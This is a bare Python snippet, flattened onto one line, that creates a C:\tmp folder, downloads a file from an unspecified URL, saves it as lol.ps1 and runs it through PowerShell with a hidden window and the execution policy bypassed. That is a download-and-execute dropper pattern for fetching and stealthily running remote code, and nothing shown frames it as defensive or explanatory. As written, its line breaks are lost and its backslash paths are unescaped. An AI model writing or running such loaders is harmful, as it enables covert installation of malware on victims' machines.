os.system("mkdir C:\tmp") with open("C:\tmp\lol.ps1", "wb") as f: r = requests.get(url) f.write(r.content) os.system("powershell.exe -windowstyle hidden -executionpolicy bypass C:\tmp\lol.ps1")